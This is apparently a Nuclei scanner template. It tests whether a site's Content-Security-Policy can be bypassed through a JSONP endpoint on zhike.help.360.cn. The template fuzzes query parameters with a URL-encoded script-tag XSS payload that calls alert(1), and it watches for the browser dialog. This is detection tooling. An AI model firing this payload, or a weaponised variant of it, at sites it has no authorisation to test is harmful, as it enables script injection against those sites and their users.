id: zhike-help-csp-bypass

info:
  name: Content-Security-Policy Bypass - Zhike Help
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,zhike-help,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "zhike.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: zhike_help_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://zhike.help.360.cn/api/v1/robotWindow?callback=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "zhike_help_csp_xss == true"
# digest: 4b0a00483046022100f3314a5f25725d94e77e28bf1690c57a4fe5bf146fe7dad2b88e15213ea2f947022100b3da982572899c27841ebdb2971aeaeff72e1a2c080ea3e9b295125d4ade8033:922c64590222798bb761d5b6d8e72950